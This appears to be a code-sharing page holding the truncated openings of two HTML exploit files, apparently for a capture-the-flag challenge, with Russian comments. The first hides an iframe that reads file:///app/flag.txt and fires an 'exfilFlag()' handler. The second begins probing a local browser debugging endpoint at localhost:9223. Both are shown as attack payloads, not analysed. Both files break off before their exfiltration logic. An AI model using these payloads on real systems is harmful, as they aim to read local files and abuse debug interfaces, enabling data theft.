This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head><title>Exploit Iframe</title></head> | |
<body> | |
<!-- Тестовый div: если теги=6, JS работает --> | |
<div id="debug-test">JS started</div> | |
<iframe id="flag-frame" src="file:///app/flag.txt" style="display:none;" onload="exfilFlag()"></iframe> | |
<script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head><title>Exploit</title></head> | |
<body> | |
<script> | |
(async () => { | |
try { | |
// Задержка для стабильности (если сервер ждёт load) | |
await new Promise(r => setTimeout(r, 500)); | |
const r = await fetch('http://localhost:9223/json'); |